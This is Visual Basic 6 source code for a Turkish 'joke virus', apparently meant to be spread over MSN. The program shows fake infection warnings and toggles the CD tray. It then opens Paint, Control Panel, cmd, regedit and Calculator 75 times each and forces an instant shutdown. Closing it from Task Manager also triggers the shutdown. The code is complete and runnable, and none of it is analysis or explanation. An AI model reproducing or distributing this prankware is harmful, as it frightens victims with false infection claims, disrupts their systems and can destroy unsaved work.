Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long Private Sub Form_Load() On Error Resume Next MsgBox "Şuan Sisteme Zararlı Bir Virüs Aldınız No:15454.STEGHPTE", vbOKOnly, "Bilgi..." Move (Screen.Width - Width) / 2, (Screen.Height - Height) / 2 Label1.Width = 0 Timer1.Enabled = True Timer1.Interval = 10 End Sub Private Sub Timer1_Timer() On Error Resume Next Label1.Width = Label1.Width + 10 If Label1.Width >= Picture1.Width Then Timer1.Enabled = False MsgBox "Virüs Yükleme Başarılı...", vbOKOnly, "Bilgi..." mciExecute ("Set CDAudio door Open") MsgBox "Virüs: Cd Romunuz Kontrol Ediliyor...", 64, "Bilgi..." mciExecute ("Set CDAudio door closed") MsgBox "Virüs: Çalışıyor Galiba Emin değilim...", 48, "Uyari !!!" mciExecute ("Set CDAudio door Open") mciExecute ("Set CDAudio door closed") MsgBox "Virüs: Neyse Bu kadar şaklabanlık yeter ...", 16, "Hehehehe" MsgBox "Virüs: Sen boş işlerle ugraşmayı seviyormuşsun...", 48, "Uyari..." MsgBox "Virüs: Kapat Bakalım Şunları :D:D", 16, "Zuhahahaha...." Dim a For a = 1 To 75 Shell "mspaint" Shell "control panel" Shell "cmd" Shell "regedit" Shell "calc" Next MsgBox "Virüs: Yoruldum Bu kadar Yeter... Hadi Bye Bye...", 48, "Bye Bye" MsgBox "TurkFawori Msn Şaka Virüsü Korkmayınız Lütfen...", vbCritical, "Uyari !!!" MsgBox "Korktuysan Kusura Kalma Kal Sağlıcakla...", vbCritical, "Uyari !!!" Shell ("shutdown -s -t 1") End If End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) On Error Resume Next Select Case UnloadMode Case vbAppTaskManager MsgBox "Bu Program Burdan Kapanmaz Dostum", 16, "Hata !!" Shell ("shutdown -s -t 1") End Select End Sub